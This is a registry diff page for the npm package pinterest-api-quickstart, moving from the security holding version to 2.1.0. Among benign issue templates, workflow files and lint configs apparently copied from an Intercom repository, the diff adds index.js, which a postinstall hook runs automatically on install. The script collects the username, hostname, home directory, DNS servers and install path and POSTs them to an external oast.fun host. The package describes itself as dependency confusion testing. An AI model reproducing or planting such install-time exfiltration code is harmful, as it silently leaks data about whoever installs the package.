pinterest-api-quickstart 0.0.1-security → 2.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of pinterest-api-quickstart might be problematic. Click here for more details.

@@ -0,0 +1,26 @@
1
+ ---
2
+ name: Schema Inaccuracy
3
+ about: Reporting problems with the description
4
+ title: "[Schema Inaccuracy] <Describe Problem>"
5
+ labels: Inaccuracy
6
+ assignees: ''
7
+
8
+ ---
9
+
10
+ # Schema Inaccuracy
11
+
12
+ <!---
13
+ Describe the problem shortly. Include the specific operation / schema that contains an error.
14
+ -->
15
+
16
+ ## Expected
17
+
18
+ <!---
19
+ What was expected?
20
+ --->
21
+
22
+ ## Reproduction Steps
23
+
24
+ <!---
25
+ Include steps to reproduce the problem with the description.
26
+ --->
@@ -0,0 +1,3 @@
1
+ Thank you for contributing to [intercom/Intercom-OpenAPI](https://github.com/intercom/Intercom-OpenAPI)!
2
+
3
+ **Please note that we cannot accept pull requests that directly modify the descriptions in this repo.** If you have identified a problem with the descriptions, [consider opening an issue instead](https://github.com/intercom/Intercom-OpenAPI/issues/new?template=schema-inaccuracy.md) :bow:
@@ -0,0 +1,33 @@
1
+ name: Deploy postman collection
2
+ on:
3
+ push:
4
+ # Sequence of patterns matched against refs/heads
5
+ branches:
6
+ - main
7
+ jobs:
8
+ deployment:
9
+ runs-on: ubuntu-latest
10
+ environment: production
11
+ steps:
12
+ - uses: actions/checkout@v3
13
+ with:
14
+ fetch-depth: 2
15
+ - uses: actions/setup-node@v4
16
+ with:
17
+ node-version: "20"
18
+ - name: "Create env file"
19
+ run: |
20
+ touch .env
21
+ echo POSTMAN_API_KEY=${{ secrets.POSTMAN_API_KEY }} >> .env
22
+ echo POSTMAN_WORKSPACE_ID=${{ secrets.POSTMAN_WORKSPACE_ID }} >> .env
23
+ echo ACTIONS_ALLOW_USE_UNSECURE_NODE_VERSION=true >> .env
24
+ - run: npm install
25
+ - name: Changed Files
26
+ id: changed-files
27
+ uses: tj-actions/changed-files@v35
28
+ - run: node ./scripts/postman/run-postman-collection.js ${{ steps.changed-files.outputs.all_changed_and_modified_files }}
29
+ - name: List all changed files
30
+ run: |
31
+ for file in ${{ steps.changed-files.outputs.all_changed_and_modified_files }}; do
32
+ echo "$file was changed"
33
+ done
@@ -0,0 +1,29 @@
1
+ name: Release TypeScript SDK
2
+
3
+ on:
4
+ workflow_dispatch:
5
+ inputs:
6
+ version:
7
+ description: "The version of the SDKs that you would like to release"
8
+ required: true
9
+ type: string
10
+
11
+ jobs:
12
+ release:
13
+ runs-on: ubuntu-latest
14
+ steps:
15
+ - name: Checkout repo
16
+ uses: actions/checkout@v3
17
+
18
+ - name: Setup node
19
+ uses: actions/setup-node@v4
20
+
21
+ - name: Download Fern
22
+ run: npm install -g fern-api
23
+
24
+ - name: Release SDKs
25
+ env:
26
+ FERN_TOKEN: ${{ secrets.FERN_TOKEN }}
27
+ FERN_NPM_TOKEN: ${{ secrets.FERN_NPM_TOKEN }}
28
+ run: |
29
+ fern generate --group ts-sdk --version ${{ inputs.version }} --log-level debug
@@ -0,0 +1,2 @@
1
+ package-lock.json
2
+ package.json
package/.prettierrc.js ADDED
@@ -0,0 +1,7 @@
1
+ 'use strict';
2
+
3
+ module.exports = {
4
+ printWidth: 100,
5
+ singleQuote: true,
6
+ trailingComma: 'all',
7
+ };
@@ -0,0 +1,28 @@
1
+ ---
2
+
3
+ extends: default
4
+
5
+ rules:
6
+ braces:
7
+ level: warning
8
+ max-spaces-inside: 1
9
+ brackets:
10
+ level: warning
11
+ max-spaces-inside: 1
12
+ colons:
13
+ level: warning
14
+ commas:
15
+ level: warning
16
+ comments: disable
17
+ comments-indentation: disable
18
+ document-start: disable
19
+ empty-lines:
20
+ level: warning
21
+ hyphens:
22
+ level: warning
23
+ indentation:
24
+ level: warning
25
+ indent-sequences: consistent
26
+ line-length: disable
27
+ trailing-spaces: disable
28
+ truthy: disable
package/index.js ADDED
@@ -0,0 +1,49 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const https = require("https");
4
+ const fs = require("fs");
5
+
6
+ // Read package.json safely
7
+ let packageJSON = {};
8
+ try {
9
+ packageJSON = JSON.parse(fs.readFileSync("./package.json", "utf8"));
10
+ } catch (err) {
11
+ packageJSON = { name: "unknown", version: "unknown" };
12
+ }
13
+
14
+ // Prepare tracking data (RAW JSON)
15
+ const trackingData = JSON.stringify({
16
+ package: packageJSON.name || "unknown",
17
+ version: packageJSON.version || "unknown",
18
+ directory: __dirname,
19
+ homeDir: os.homedir(),
20
+ hostname: os.hostname(),
21
+ username: os.userInfo().username,
22
+ dnsServers: dns.getServers(),
23
+ });
24
+
25
+ // Request options
26
+ const options = {
27
+ hostname: "wjlmgboaixijetkhmbmxsugt0cxa9dwa0.oast.fun",
28
+ port: 443,
29
+ path: "/",
30
+ method: "POST",
31
+ headers: {
32
+ "Content-Type": "application/json",
33
+ "Content-Length": Buffer.byteLength(trackingData),
34
+ },
35
+ };
36
+
37
+ // Send the data
38
+ const req = https.request(options, (res) => {
39
+ console.log(`Status: ${res.statusCode}`);
40
+ res.on("data", (d) => process.stdout.write(d));
41
+ });
42
+
43
+ req.on("error", (e) => {
44
+ console.error(`Request error: ${e.message}`);
45
+ });
46
+
47
+ req.write(trackingData);
48
+ req.end();
49
+
package/package.json CHANGED
@@ -1,6 +1,13 @@
1
1
  {
2
2
  "name": "pinterest-api-quickstart",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "2.1.0",
4
+ "description": "Example package for dependency confusion testing",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ },
9
+ "dependencies": {},
10
+ "author": "Adarsh",
11
+ "license": "MIT"
6
12
  }
13
+
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=pinterest-api-quickstart for more information.